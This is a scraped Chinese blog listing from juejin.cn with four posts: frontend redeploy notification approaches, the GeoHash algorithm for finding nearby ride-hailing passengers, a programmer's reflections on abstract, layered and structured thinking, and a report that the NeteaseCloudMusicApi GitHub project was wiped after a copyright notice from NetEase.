  1. 轮询调用方案:轮询获取网页引入的脚本文件的hash值或者etag来实现。这种方案的优点是实现简单,但存在性能消耗和延迟较高的问题。
  2. WebSocket版本方案:在前端部署的同时建立一个WebSocket连接,将后端构建部署完成的通知发送给前端。当后端完成部署后,通过WebSocket向前端发送消息,提示用户刷新页面以加载最新版本。这种方案的优点是实时性好,用户体验较好,但需要在前端和后端都进行相应的配置和代码开发。

选择合适的方案取决于具体的需求和实际情况,仅供参考O^O!

参考文章

小满-前端重新部署如何通知用户刷新网页?


作者:一诺滚雪球
来源:juejin.cn/post/7264396960558399549

收起阅读 »

GeoHash——滴滴打车如何找出方圆一千米内的乘客?

背景 不知道大家是否思考过一个问题,在一些场景下(如大家在使用高德地图打车的时候,邻近的司机是如何知道你在他的附近并将你的打车通知推送给他去接单的?)是如何实现的? 一般来讲,大家也许会想到,首先肯定需要知道每位乘客的经纬度(lng,lat),也即是二维坐标(...
继续阅读 »

背景


不知道大家是否思考过一个问题,在一些场景下(如大家在使用高德地图打车的时候,邻近的司机是如何知道你在他的附近并将你的打车通知推送给他去接单的?)是如何实现的?


一般来讲,大家也许会想到,首先肯定需要知道每位乘客的经纬度(lng,lat),也即是二维坐标(当然这是在绝对理想的情况,不考虑上下坡度)。


而在知道了经纬度之后,一个暴力简单且容易想到的思路就是将经纬度这个二元组都存放在一个数组当中,然后当我们需要拿到离我们规定范围内的用户(如获取当前位置方圆百米内正在打车的乘客),我们就可以去遍历维护的那个数组,以此去判断数组中的经纬度与自己所在经纬度的距离,然后判断是否在范围内。


显然这种方法一定是能够达到目的的,但是值得注意的点是,维护的数据量一般来讲是海量的,因此如果每次都需要遍历所有数据去进行计算,那这计算量以及存储量目前是无法满足的。那如何在此基础上去优化性能呢??那么这个内容就是本篇文章主要想探讨的问题......




GeoHash基本原理介绍


首先我想先介绍一下GeoHash这种算法基本原理,再讨论如何进行应用。


对于每一个坐标都有它的经纬度(lng,lat),而GeoHash的原理就是将经纬度先通过一个二分的思路拿到一个二进制数组的字符串,然后再通过base32编码去进行压缩存储。


举一个例子,比如经纬度为(116.3111126,40.085003),对其进行二分步骤如下:


经度步骤:


bitleftmidright
1-1800180
1090180
090135180
190112.5135
0112.5123.75135
0112.5118.125123.75
1112.5115.3125118.125
0115.3125116.71875118.125
1115.3125116.015625116.71875
0116.015625116.3671875116.71875
1116.015625116.19140625116.3671875
1116.19140625116.279296875116.3671875
0116.279296875116.323242188116.3671875
1116.279296875116.301269532116.323242188
0116.301269532116.31225586116.323242188

纬度步骤:


bitleftmidright
1-90090
004590
1022.545
122.533.7545
133.7539.37545
039.37542.187645
039.37540.7812542.1876
139.37540.07812540.78125
040.07812540.429687540.78125
040.07812540.2539062540.4296875
040.07812540.16601562540.25390625
040.07812540.122070312540.166015625
040.07812540.100097656340.1220703125
040.07812540.089111328240.1000976563
140.07812540.083618164140.0891113282

其思路就是不断二分,如果原本值大于mid那本bit位就是1,以此往下递归,最终,我们递归二分得到纬度方向上的二进制字符串为 101110010000001,长度为 15 位


那此时就拿到了30bit位的字符串,然后就开始进行拼接


结合经度字符串 110100101011010 和纬度字符串 101110010000001,我们遵循先经度后纬度的顺序,逐一交错排列,最终得到的一维字符串为 11100 11101 00100 11000 10100 01001.


然后再进行Base32编码,主要步骤就是首先会维护一个0-9A-Za-z中32个字符的数组,如:['a','b','1','2','3','4','5','6','7','A'...],然后再将这30位的字符串每五个一组(正好覆盖0-31的索引)去索引到指定字符以此拿到30/5=6位的base32编码去进行存储。


ps:注意并不一定是必要将经纬度都二分得到15位长度,多少位都可以,只是精度越高结果也就越精确,但是算力就越大,只需在此做出权衡即可




GeoHash如何应用到这个问题当中?


上面讲到了可以通过GeoHash将经纬度转换成bit位的字符串,那么怎么进行应用呢,其实答案很明显,其实如果经纬度越接近,他们的前缀匹配位数也就越长,比如


image.png
通过这个思路我们就比较容易得到我们想要的范围内的乘客了。


遗留问题


但是其实仅仅如此是不够的,因为一个base32其实是覆盖了一片区域的,它并不是说仅仅代表一个精确的ip地址,那这其实就衍生出了一些问题,就比如


image.png
,用geohash那结果显然是AB更近,但是实际上A与B的距离比AE、AC、AD都远。这其实是一个边缘性的问题........后续我会更新如何去避免这种问题的出现


作者:狗不理小包
来源:juejin.cn/post/7270916734138908672
收起阅读 »

当了程序员之后?(真心话)

有什么事是你当了程序员之后才知道的? 地铁上刷到一个话题,觉得挺有意思的,如下。 看到很多朋友在下面吐槽,有说加班是真的多,有说找对象是真的难,有说程序员爱穿格子衫是假爱背电脑是真的等等,大家吐槽得都挺欢乐的。 老猫也开始复盘这些年的经历,更多想聊的可能还...
继续阅读 »

有什么事是你当了程序员之后才知道的?

地铁上刷到一个话题,觉得挺有意思的,如下。


1709213979295.png


看到很多朋友在下面吐槽,有说加班是真的多,有说找对象是真的难,有说程序员爱穿格子衫是假爱背电脑是真的等等,大家吐槽得都挺欢乐的。


1709824704115.png


老猫也开始复盘这些年的经历,更多想聊的可能还是一个后端程序员的真实感悟。


入行


俗话说“男怕入错行,女怕嫁错郎。”相信很多朋友在进入一个行业之前都是深思熟虑的,亦或者是咨询过一些人,亦或者是查阅了挺多资料。然而老猫入行则相当奇葩,不是蓄谋已久,而是心血来潮。


一切都得从一部电视剧开始,不晓得大家有没有看过这部电视剧,佟丽娅主演的“我的经济适用男”。


1709215705556.png


12年的一部电视剧,挺老了,主要女主放弃富二代的追求和"成熟稳重老实巴交的IT男"好上了的桥段。当时心智单纯的老猫可谓看的是热血沸腾啊。一拍桌子,“发可油,劳资今后就要当那个男主,这结局多好啊,抱得美人归啊这是,我要学IT!”。当时老猫的专业是电子信息类的专业,后来基本就放弃了本专业,大学基本逃课就跑去学软件去了。


就这么上了贼船,一晃十年过去了。多年前,躲在实验室里,开发了一个简单的坦克大战的游戏,感觉自己是最牛逼的,子弹爱怎么飞怎么飞,坦克能开多块就开多快,那时候觉得自己就是这个IT世界的主角,“control evety thing”。在这样一个程序的世界里,所有的事儿都是自己说了算。


踏上社会后,遭遇社会惨无人道地毒打之后,发现要做的就是提升造火箭吹牛逼的能力,工作中是个crud-boy。键盘上磨损最严重的那几个键是“ctrl”,“c”,“v”,“x”。当年那个意气风发的少年已经不复存在,我是一个弱鸡螺丝钉。


1709217726156.png


工作十年


大部分后端程序员也主要是围绕着业务在转,所以crud可能占了大部分时间。


话虽如此,但还是有点除此以外的收获,这些收获甚至潜移默化地影响着我的生活。


技术日新月异,今天这个框架,明天那个架构,今天这种实现牛逼,明天那种部署更6等等,到头来发现自己一直都是在追着技术跑。也确实如果不奔跑的话,可能就会被淘汰。作为程序员来说适应变化也是程序员的一种品质,但是老猫觉得具备下面这些可能会更加重要一些,这些可能也是唯一不变的。


抽象思维很重要


第一次听到“架构师”这个职位的时候,觉得那一定是一个需要超强技术能力的人才能胜任的岗位。


后来才发现原来架构师也分种类,“业务架构”,“技术架构”等等。再后来发现无论哪种架构,其实他们身上会有一种共同的东西,那就是优秀的抽象思维。


啥是抽象思维?百度百科上是这么说的:


抽象思维,又称词的思维或者逻辑思维,是指用词进行判断、推理并得出结论的过程。
抽象思维以词为中介来反映现实。这是思维的最本质特征,也是人的思维和动物心理的根本区别。

说的比较官方,甚至有点不好懂。


大家以前上语文课的时候,有没有做过阅读理解,老师在讲课的时候常常我们概述一下这段文字到底讲了什么东西,越精简越好,可能要求20个字以内。其实这个过程就是在锻炼咱们的抽象思维能力以及概括能力。


在软件后端领域,当业务传达某一个需求的时候,往往需要产品去提炼一道,那么此时就是产品抽象,继而产品又将需求传达给相关的研发负责人,研发负责人设计出相关的实现模型,那么这又是技术抽象,这些抽象的过程就是将复杂的业务流程和逻辑转化为可管理和可重用的组件的过程。它的目的是简化系统的实现,聚焦于应用程序的核心功能,同时隐藏不必要的细节。抽象后设计出各种基础能力,通过对基础能力的组合和拼接,支持复杂多变的业务逻辑和业务形态。


gw1.png


具备抽象思维,能够让我们从复杂的业务中迅速切入业务关键点。在生活中可能表现在透过现象看到本质,或者碰到问题能够快速给出有效解决方案或思路。例如老猫上次遇到的“真-丢包事件”。


分层思维很重要


说到分层思维,应该准确地来说是建立在能够清晰的抽象出事务本质的基础上,而后再去做分层。


很多地方都会存在分层思想。生活中就有,大家双休日没事的时候估计会逛商场,商城的模式一般就是底层停车场,一层超市,二层卖服装的,三层儿童乐园,卖玩具的,四层吃饭看电影娱乐的等等。


再去聊到技术上的分层思想,例如OSI七层模型,大家在面试的时候甚至都碰到过。


gw2.png


抛开这些,其实我们对自己当前负责的一些业务,一些系统也需要去做一些分层划分,这些分层可以让我们更好地看清业务系统之间的关系。例如老猫之前梳理的一张图。


gw3.png


通过这样的分层梳理,我们可能更好地理解当前的系统组成以及层级关系。(备注一下,老猫这里画图工具用的还是wps绘制的)。


结构化思维很重要


结构化思维又是咋回事儿?
不着急,打个比方,咱们看下面一组数据:
213421790346567560889
现在有个要求,咱们需要记下这些数字,以及出现的次数。短时间内想要记住可能比较困难
如果我们把这些数字的内容调整下,变成下面这样:
00112233445566778899
是不是清晰了很多?


所谓的结构化思维,就是从无序到有序的一种思考过程,将搜集到的信息、数据、知识等素材按一定的逻辑进行分析、整理,呈现出有序的结构,继而化繁为简。有结构的信息更适合大脑记忆和理解。


人类大脑在处理信息的时候,有两个特点:


第一,不能一次太多,太多信息会让我们的大脑觉得负荷过大;乔治·米勒在他的论文《奇妙的数字7±2》中提出,人类大脑短期记忆无法一次容纳7个以上的记忆项目,比较容易记住的是3个项目,当然最容易的是1个。


第二,喜欢有规律的信息。有规律的信息能减少复杂度,Mitchell Waldrop在《复杂》一书中,提出一种用信息熵来进行复杂性度量的方法,所谓信息熵就是一条信息包含信息量的大小。举个例子,假设一条消息由符号A、C、G和T组成。如果序列高度有序,很容易描述,例如“A A A A A A A … A”,则熵为零。而完全随机的序列则有最大熵值。


ccfc037aa9b4e852ef2a16f8e58c4a86.png


老猫在写文章的时候喜欢先列一下要写的提纲,然后再跟着提纲一点一点的往下写,写定义,写实现,写流程。


虽然本文偷了个懒,没有写思维导图,老猫一般再聊到干货的时候都会和大家先列一下提纲。这种提纲其实也是结构化的一种。当我们遇到复杂系统需求的时候,咱们不妨先列个提纲,将需要做的按照自己定义好的顺序罗列好,这样解决起来会更加容易一些。


太过理性可能也不好


程序员做久了,做一件事情的时候都会去想着先做什么然后做什么一步一步,有时候会显得过于机械,不知变通,
有时候可能也会太过较真,大直男显得情商比较低,会多多少少给别人带去一些不便,记得在银行办理业务的时候会指出业务员说话的逻辑漏洞,然后不停地追问,最终可能导致业务员尴尬地叫来业务经理解释等等。


程序员思维做事情,可能在日常生活中比较严谨,但是很多时候还是会显得比较死板。


总结


以上是老猫觉得除了技术以外,觉得一个后端程序员应该具备的一些思考方式以及工作方式,当然也可能只是老猫的方法论,如果大家有其他的工作领悟,也欢迎大家留言,大家一起分享一下经验。


作者:程序员老猫
来源:juejin.cn/post/7343493283073507379
收起阅读 »

不服气,川大数学博士吐槽华为招聘

数学博士吐槽华为招聘 今天刷到一篇帖子: 文中来自川大的数学博士吐槽了华为对数学博士的招聘。 作者强调自己是川大的本硕博(算子分析方向),有论文,也拿过国家一等奖。 但自己投的华为简历,却石沉大海,了无音讯。 还直言道:自己在数学系待了 10 年,没有任何一...
继续阅读 »

数学博士吐槽华为招聘


今天刷到一篇帖子:


文中来自川大的数学博士吐槽了华为对数学博士的招聘。


作者强调自己是川大的本硕博(算子分析方向),有论文,也拿过国家一等奖。


但自己投的华为简历,却石沉大海,了无音讯。


还直言道:自己在数学系待了 10 年,没有任何一个数学博士能够满足华为招聘三条要求中的两条,如果数学博士干的是华为招聘上的事情,毕业都难。


这事儿,怎么说呢,从不同角度,会有不同的理解。


首先,在企业招聘中,学历往往是起点门槛要求,而非唯一要求。


因此肯定不是说满足数学博士要求,就必然入面试,这一点和「本科/硕士」一样。


其次,企业招聘中,往往是「应用类」人才占比要比「科研类」人才占比更高。


因此在学历(数学博士)要求上,往往还会有企业所期望的技能要求,例如文中说的「熟练使用计算机编程语言」,也算是常规操作。


至于原帖作者说的,因为「华为招聘中有很多不是数学博士专业领域知识要求」,就得出「华为觉得不到这个水平就不算是博士」的结论,多少有点偏激了。


...


回归主线。


来一道不是数学博士也能做出来的算法题。


这道题曾经还是华为的校招机试原题。


题目描述


平台:LeetCode


题号:172


给定一个整数 nn ,返回 n!n! 结果中尾随零的数量。


提示 n! = n * (n - 1) * (n - 2) * ... * 3 * 2 * 1


示例 1:


输入:n = 3

输出:0

解释:3! = 6 ,不含尾随 0

示例 2:


输入:n = 5

输出:1

解释:5! = 120 ,有一个尾随 0

提示:



  • 0<=n<=1040 <= n <= 10^4


进阶:你可以设计并实现对数时间复杂度的算法来解决此问题吗?


数学


对于任意一个 n!n! 而言,其尾随零的个数取决于展开式中 1010 的个数,而 1010 可由质因数 252 * 5 而来,因此 n!n! 的尾随零个数为展开式中各项分解质因数后 22 的数量和 55 的数量中的较小值。


即问题转换为对 [1,n][1, n] 中的各项进行分解质因数,能够分解出来的 22 的个数和 55 的个数分别为多少。


为了更具一般性,我们分析对 [1,n][1, n] 中各数进行分解质因数,能够分解出质因数 pp 的个数为多少。根据每个数能够分解出 pp 的个数进行分情况讨论:



  • 能够分解出至少一个 pp 的个数为 pp 的倍数,在 [1,n][1, n] 范围内此类数的个数为 c1=npc_1 = \left \lfloor \frac{n}{p} \right \rfloor

  • 能够分解出至少两个 pp 的个数为 p2p^2 的倍数,在 [1,n][1, n] 范围内此类数的个数为 c2=np2c_2 = \left \lfloor \frac{n}{p^2} \right \rfloor

  • ...

  • 能够分解出至少 kkpp 的个数为 pkp^k 的倍数,在 [1,n][1, n] 范围内此类数的个数为 ck=npkc_k = \left \lfloor \frac{n}{p^k} \right \rfloor


我们定义一个合法的 kk 需要满足 pknp^k \leqslant n,上述的每一类数均是前一类数的「子集」(一个数如果是 pkp^k 的倍数,必然是 pk1p^{k-1} 的倍数),因此如果一个数是 pkp^k 的倍数,其出现在的集合数量为 kk,与其最终贡献的 pp 的数量相等。


回到本题,n!n! 中质因数 22 的数量为 :


i=1k1n2i=n2+n22+...+n2k1\sum_{i = 1}^{k_1}\left \lfloor \frac{n}{2^i} \right \rfloor = \left \lfloor \frac{n}{2} \right \rfloor + \left \lfloor \frac{n}{2^2} \right \rfloor + ... + \left \lfloor \frac{n}{2^{k_1}} \right \rfloor

n!n! 中质因数 55 的数量为 :


i=1k2n5i=n5+n52+...+n5k2\sum_{i = 1}^{k_2}\left \lfloor \frac{n}{5^i} \right \rfloor = \left \lfloor \frac{n}{5} \right \rfloor + \left \lfloor \frac{n}{5^2} \right \rfloor + ... + \left \lfloor \frac{n}{5^{k_2}} \right \rfloor

2<52 < 5,可知 k2k1k_2 \leqslant k_1,同时 ii 相同的每一项满足 n5in2i\left \lfloor \frac{n}{5^i} \right \rfloor \leqslant \left \lfloor \frac{n}{2^i} \right \rfloor,可知最终 i=1k2n5ii=1k1n2i\sum_{i = 1}^{k_2}\left \lfloor \frac{n}{5^i} \right \rfloor \leqslant \sum_{i = 1}^{k_1}\left \lfloor \frac{n}{2^i} \right \rfloor,即质因数 55 的个数必然不会超过质因数 22 的个数。我们只需要统计质因数 55 的个数即可。


Java 代码:


class Solution {
public int trailingZeroes(int n) {
return n == 0 ? 0 : n / 5 + trailingZeroes(n / 5);
}
}

Python 代码:


class Solution:
def trailingZeroes(self, n: int) -> int:
return n // 5 + self.trailingZeroes(n // 5) if n else 0


  • 时间复杂度:O(logn)O(\log{n})

  • 空间复杂度:忽略递归带来的额外空间开销,复杂度为 O(1)O(1)



作者:宫水三叶的刷题日记
来源:juejin.cn/post/7332027975862730761
收起阅读 »

谈谈雷军造车

相信大家都听过雷总的一句鸡汤:“我干了30多年,回头一望,全是漫长的挫折和煎熬,和大家一样,我也迷茫,我也曾经动摇甚至放弃过,我想跟大家说我们不要逃避,你经历的所有的挫折和失败,甚至那些看似毫无意义,消磨时间的事情,都将成为你最重要的,最宝贵的财富,人生很长,...
继续阅读 »

相信大家都听过雷总的一句鸡汤:“我干了30多年,回头一望,全是漫长的挫折和煎熬,和大家一样,我也迷茫,我也曾经动摇甚至放弃过,我想跟大家说我们不要逃避,你经历的所有的挫折和失败,甚至那些看似毫无意义,消磨时间的事情,都将成为你最重要的,最宝贵的财富,人生很长,永远相信美好的事情即将发生。”这段话治愈了很多人,熬不住的时候回头想想这句话也让我受益良多。生活,就像一条曲折的河流,有时平静,有时汹涌。每个人都会遇到各自的艰难困苦,那些看似寻常的日子,也许背后隐藏着不为人知的挣扎。这就是生活,这就是人生。

都说十年磨一剑,雷总三年就出成果,从当年的PPT造车到实际落地,中间的困难与挫折可想而知。我们都知道小米是造手机、电视、智能家居等电子产品的,当3年前官宣造车的时候,很多人都不看好它,甚至还有人冷嘲热讽,那么今天小米用实际行动证明了自己。前些日子比亚迪掀桌子了,比亚迪秦起售价直接干到7.98万,这也让不少网约车车主感到痛心,2年跑的滴滴全白干,而且新款秦配置还更好;去年都在吐槽特斯拉降价,甚至有的人还去维权,最终也无功而返,今年国产车掀起降价潮,导致整个新能源汽车市场受到影响。不过这波降价主要原因还是今年的经济不景气,大家都在缩减开销,但其实也有一部分原因是因为小米迟迟不敢公布售价,而从外表来看SU7又很好看,肯定是一个大卖点,所以不少厂家先于小米一步降价为求站稳脚跟,不少网友也调侃说电车降价小米功不可没。
造车压力大,下面给大家看下雷总最近参加人大的照片,以及以前的招聘,对比起来真的很明显憔悴了不少,也老了不少:


微信图片_20240308164101.jpg


微信图片_20240308164109.jpg


微信图片_20240308164114.jpg


谈谈雷军带队小米造车


小米的生态链中可以说车是必不可少的一环,雷军常说,人、车、家形成一个生态链的闭环,雷军也说了这次将是他最后一次创业,如果这次成功可以说是给自己的人生画上了圆满的句号,下面我从几个方面看来谈谈造车的这个事情。


创新理念


雷军一直以来都是创新的倡导者和实践者,在智能手机领域取得了巨大成功。他带领小米进军造车领域,是对传统汽车行业的一次颠覆性挑战,展现了他对未来出行方式的前瞻性思考和勇于尝试的精神。不过有一说一,现在小米手机可是越卖越贵啊,1999的那个时代再也回不去了。


技术实力


小米作为一家科技公司,拥有雄厚的技术实力和研发能力。结合小米在智能硬件、人工智能等领域的优势,可以为汽车行业注入新的活力和创新,打造更加智能、互联的汽车产品。


生态系统优势


小米不仅仅是一家手机制造商,更是建立了庞大的生态系统,涵盖了智能家居、智能穿戴、智能健康等多个领域。雷军希望通过造车项目,将小米的生态系统拓展到汽车领域,实现智能设备之间的无缝连接和互联互通。不知道小米还会不会在车上用上小爱同学。


用户体验


雷军一直以来都非常注重用户体验,他认为用户是一切创新的源泉和动力。在造车项目中,他致力于打造用户体验一流的智能汽车,通过人性化设计和智能科技,为用户提供更加便捷、安全、舒适的出行体验。


挑战与机遇


进军汽车行业是一项充满挑战的任务,雷军清楚地意识到这一点。但与挑战相伴随的是巨大的机遇,随着智能化、电动化、共享化的趋势不断加速,汽车行业正经历着前所未有的变革,雷军带领小米造车正是抓住了这个机遇,努力走在行业的前沿。


作者:MrDong先生
来源:juejin.cn/post/7343842933990817832
收起阅读 »

哇噻,简直是个天才,无需scroll事件就能监听到元素滚动

web
哇噻,简直是个天才,无需scroll事件就能监听到元素滚动 1. 前言 最近在做 toolTip 弹窗相关组件封装,实现的效果就是可以通过hover或点击在元素的上面或者下面能够出现一个弹框,类似下面这样 这时我遇到一个问题,因为我想当这个弹窗快要滚出屏幕之...
继续阅读 »

哇噻,简直是个天才,无需scroll事件就能监听到元素滚动


1. 前言


最近在做 toolTip 弹窗相关组件封装,实现的效果就是可以通过hover或点击在元素的上面或者下面能够出现一个弹框,类似下面这样


bandicam 2024-03-10 10-21-30-103.gif


这时我遇到一个问题,因为我想当这个弹窗快要滚出屏幕之外时能够从由上面弹出变到由下面弹出,本来想着直接监听 scroll 事件就能搞定的,但是仔细一想 scroll 事件到底要绑定到那个 DOM 上呢? 因为很多时候滚动条出现的元素并不是最外层的 body 或者 html 可能是任意一个元素上的滚动条。这个时候就无法通过绑定 scroll 事件来监听元素滚动了。


2. 问题分析


我脑海中首先 IntersectionObserver 这个 API,但是这个 API 只能用来 监测目标元素与视窗(viewport)的交叉状态,也就是当我的元素滚出或者滚入的时候可以触发该监听的回调。


new IntersectionObserver((event) => {
refresh();
}, {
// threshold 用来表示元素在视窗中显示的交叉比例显示
// 设置的是 0 即表示元素完全移出视窗,1 或者完全进入视窗时触发回调
// 0表示元素本身在视口中的占比0%, 1表示元素本身在视口中的占比为100%
// 0.1表示元素本身在视口中的占比1%,0.9表示元素本身在视口中的占比为90%
threshold: [0, 1, 0.1, 0.9]
});

这样就可以在元素快要移出屏幕,或者移入屏幕时触发回调了,但是这样会有一个问题


1710037754965.jpg


当弹窗移出屏幕时,可以很轻松的监听到,并把弹窗移动到下方,但是当弹窗滚入的时候就有问题了


image.png


可以看到完全进入之后,这个时候由于顶部空间不够,还需要继续往下滚才能将弹窗由底部移动到顶部。但是已经无法再触发 IntersectionObserver 和视口交叉的回调事件了,因为元素已经完全在视窗内了。
也就是说用这种方案,元素一旦滚出去之后,再回来的时候就无法复原了。


3. 把问题抛给别人


既然自己很难解决,那就看看别人是怎么解决这个问题的吧,我直接上 饿了么UI 上看看它的弹窗组件是怎么做的,于是我找到了 floating-ui 也就是原来的 popper.js 现在改名字了。


image.png
在文档中,我找到自动更新这块,也就是 floating-ui 通过监听器来实现自动更新弹窗位置。
到这里就可以看看 floating-ui 的源码了。


import {autoUpdate} from '@floating-ui/dom';

可以看到这个方法是放在 'floating-ui/dom'下面的


image.png
github.com/floating-ui…
于是进入 floating-ui 的 github 地址,找到 packagesdom 下的 src 目录下,就可以看到想要的 autoUpdate.ts 了。


4. 天才的想法


抛去其它不重要的东西,实现自动更新主要就是其中的 refresh 方法,先看一下代码


function refresh(skip = false, threshold = 1) {
// 清理操作,清理上一次定时器和监听
cleanup();

// 获取元素的位置和尺寸信息
const {
left,
top,
width,
height
} = element.getBoundingClientRect();

if (!skip) {
// 这里更新弹窗的位置
onMove();
}

// 如果元素的宽度或高度不存在,则直接返回
if (!width || !height) {
return;
}

// 计算元素相对于视口四个方向的偏移量
const insetTop = Math.floor(top);
const insetRight = Math.floor(root.clientWidth - (left + width));
const insetBottom = Math.floor(root.clientHeight - (top + height));
const insetLeft = Math.floor(left);
// 这里就是元素的位置
const rootMargin = `${-insetTop}px ${-insetRight}px ${-insetBottom}px ${-insetLeft}px`;

// 定义 IntersectionObserver 的选项
const options = {
rootMargin,
threshold: Math.max(0, Math.min(1, threshold)) || 1,
};

let isFirstUpdate = true;

// 处理 IntersectionObserver 的观察结果
function handleObserve(entries) {
// 这里事件会把元素和视口交叉的比例返回
const ratio = entries[0].intersectionRatio;
// 判断新的视口比例和老的是否一致,如果一致说明没有变化
if (ratio !== threshold) {
if (!isFirstUpdate) {
return refresh();
}

if (!ratio) {
// 即元素完全不可见时,也就是ratio = 0时,代码设置了一个定时器。
// 这个定时器的作用是在短暂的延迟(100毫秒)后,再次调用 `refresh` 函数,
// 这次传递一个非常小的阈值 `1e-7`。这样可以在元素完全不可见时,保证重新触发监听
timeoutId = setTimeout(() => {
refresh(false, 1e-7);
}, 100);
} else {
refresh(false, ratio);
}
}

isFirstUpdate = false;
}

// 创建 IntersectionObserver 对象并开始观察元素
io = new IntersectionObserver(handleObserve, options);
// 监听元素
io.observe(element);
}

refresh(true);


可以发现代码其实不复杂,但是其中最重要的有几个点,我详细介绍一下


4.1 rootMargin


最重要的其实就是 rootMargin, rootMargin到底是做啥用的呢?


我上面说了 IntersectionObserver监测目标元素与视窗(viewport)的交叉状态,而这个 rootMargin 就是可以将这个视窗缩小。


比如我设置 rootMargin 为 "-50px -30px -20px -30px",注意这里 rootMarginmargin 类似,都是按照 上 右 下 左 来设置的


image.png


可以看到这样,当元素距离顶部 50px 就触发了事件。而不必等到元素完全滚动到视口。


既然这样,当我设置 rootMargin 就是该元素本身的位置,不就可以实现只要元素一滚动,就触发事件了吗?


1710041265393.jpg


4.2 循环监听事件


仅仅将视口缩小到该元素本身的位置还是不够,因为只要一滚动,元素的位置就发生了改变,即视口的位置也需要跟随着元素的位置变化进行变化


if (ratio !== threshold) {
if (!isFirstUpdate) {
return refresh();
}
if (!ratio) {
// 即元素完全不可见时,也就是ratio = 0时,代码设置了一个定时器。
// 这个定时器的作用是在短暂的延迟(100毫秒)后,再次调用 `refresh` 函数,
// 这次传递一个非常小的阈值 `1e-7`。这样可以在元素在视口不可见时,保证可以重新触发监听
timeoutId = setTimeout(() => {
refresh(false, 1e-7);
}, 100);
} else {
refresh(false, ratio);
}
}

也就是这里,可以看到每一次元素距离视口的比例变化后,都重新调用了 refresh 方法,根据当前元素和屏幕的新的距离,创建一个新的监听器。


这样的话也就实现了类似 scroll 的效果,通过不断变化的视口来确认元素的位置是否发生了变化


5. 结语


所以说有时候思路还是没有打开,刚看到这个实现思路确实惊到我了,没有想到借助 rootMargin 可以实现类似 scroll 监听的效果。很多时候得多看看别人的实现思路,学习学习大牛写的代码和实现方式,对自己实现类似的效果相当有帮助



floating-ui



作者:码头的薯条
来源:juejin.cn/post/7344164779630673946
收起阅读 »

2024年大龄程序员不得不面对的尴尬,也算是过来人的经验

被裁员 先说下本人情况,38,坐标杭州,具备后端架构和大数据架构能力。待过大厂,带过团队,落地过大型项目。 近几年被裁员也不算什么稀奇古怪的事情,我记得2022年下半年面试那会行情远比现在好,那会还会有猎头、企业主动找,我2022年的工作就是猎头推进去的。 然...
继续阅读 »

被裁员


先说下本人情况,38,坐标杭州,具备后端架构和大数据架构能力。待过大厂,带过团队,落地过大型项目。


近几年被裁员也不算什么稀奇古怪的事情,我记得2022年下半年面试那会行情远比现在好,那会还会有猎头、企业主动找,我2022年的工作就是猎头推进去的。


然而公司运营不善,2023年底裁撤了,因为融资问题,被迫出局。


本想着年后再看工作,也想休息一段时间,于是年前就没理工作这个事。


狗不理


因为信息差,也可能因为行业这种趋势本身就是没法感知的,年后投简历发现了几个情况:



  1. 无论是猎聘、BOSS、智联,好像岗位都比之前少了很多,并且很多都是钉子户,我2022年找工作那会看他们挂的JD,2024年了仍然还在。

  2. 很多JD都要求的时间就在两个段,一个是1—3年,一个是5—10年。那么从23岁毕业来看,现在只要33岁以下的了。

  3. 从跟一些猎头的沟通来看,现在很多好点的岗位是需要本硕985,211都不一定看了,并且很多事明确要求硕士。这其实一刀切,放十几年前,考大学比现在难。

  4. 很多简历发出去直接被拒,要么是未读。基本上已经有去无回了。


一些感悟


面对这种突如其来的颠覆认知的行情,我有点措手不及,没预想自己可能就此失业了。现在的世界变化太快了,也可能我待在舒适区太久了,根本对外部世界的变化钝感迟缓。


我也没去问招聘方是什么原因,本身就个人从业经历和技能能来说,自认为还OK,但是问人家也未必会告诉你实话,在这个存量市场,势必是僧多肉少,刺刀见红,现实残酷,朝不保夕。


但是反思下十几年的职场生涯,其实多多少少还是有个人原因的,总结出来,留给后来人吧:



  1. 不要迷信技术,我以前以为只要技术好就是核心竞争力,就有护城河。现在发现这种信仰只有在一个崇尚技术、尊重技术的环境中才有效。但是目前看下,这个环境越来越不是,今后肯定是越来越人情社会,越来越丛林化。所以,得有综合全面的“技术”才能混,至于我说的综合全面,懂的都懂。

  2. IT行业不适合深耕,只适合扩展。就是你得把他当工具,千万别代入,不然你会陷入很深的工具人思维。就是你总得想着有朝一日假如你被裁员了,你是否有利用这个工具单干的能力。尤其是现在AI技术日新月异,很有可能程序员一夜之间就变成土木。

  3. 一个要打造个人IP,要清醒地培养自己独立赚钱的能力,跳出自己的舒适区。很可能你目前的舒适生活是由行业或平台的红利带来的,你也很可能就是那个被圈养的巨婴。想想《肖申克的救赎》那几个经典片段:坐牢越久越是离不开监狱的,到最后极度依赖,没有自己。

  4. 认知越早扭转越好,不要等到35岁别人不要你了才幡然醒悟,我就是反例,到这个时候怀着空杯心态再从零开始,代价不得不说有点太大了。


个人期望


最后说点自己的个人期望和未深思的规划:
1、后面还是要自己单干的,可以是独立开发、或者其他。
2、还是会热爱技术,即使如果干不了这行了,也会把它当做一个兴趣培养。


作者:数据智能老司机
来源:juejin.cn/post/7343902139821785124
收起阅读 »

一夜之间,3.0万 Star,全部清零!

这是开源圈不久前发生的一件事情。 不知道大家有没有听说过NeteaseCloudMusicApi这个项目,从项目名字大家也能猜出,这是一个和网易云音乐API有关的开源项目。 该项目之前由开发者Binaryify所打造,是网易云音乐API的一个非官方封装库。 该...
继续阅读 »

这是开源圈不久前发生的一件事情。


不知道大家有没有听说过NeteaseCloudMusicApi这个项目,从项目名字大家也能猜出,这是一个和网易云音乐API有关的开源项目。


该项目之前由开发者Binaryify所打造,是网易云音乐API的一个非官方封装库。


该项目采用Node.js编写,可以实现非官方的网易云音乐API调用,从而可以让其他开发者可以基于该项目来获取网易云音乐平台上的一些歌曲、歌单、歌词、专辑、电台等信息,方便开发者构建基于网易云音乐服务的应用程序。



这个项目曾经在GitHub上非常火热,也因此一度获得了超过3.0w的Star标星,以及1.5w+的Fork。



不过就在最近,该项目的作者彻底清零了这个项目,包括其所有的代码、文档,以及commit提交信息,并在项目的主页README中更新了动态:



保护版权,此仓库不再维护




原因很简单,原来是作者收到了来自网易云音乐官方发送的法务通知函。


网易云音乐声明该项目侵犯了其公司的相关版权,并且要求开发者立即下线该项目中盗链网易云音乐的方法及内容。


具体的通知如下:



网易云音乐由杭州网易云音乐有限公司独立开发运营,网易云音乐作为国内知名的在线音乐平台,致力于为用户提供优质的音乐内容服务,我司以高额的成本采购了海量音乐作品的内容,在未我司合法授权的任何第三方均没有权利播放由我司享有版权的音乐作品,我司有权以自己的名义或授权第三方进行维权。




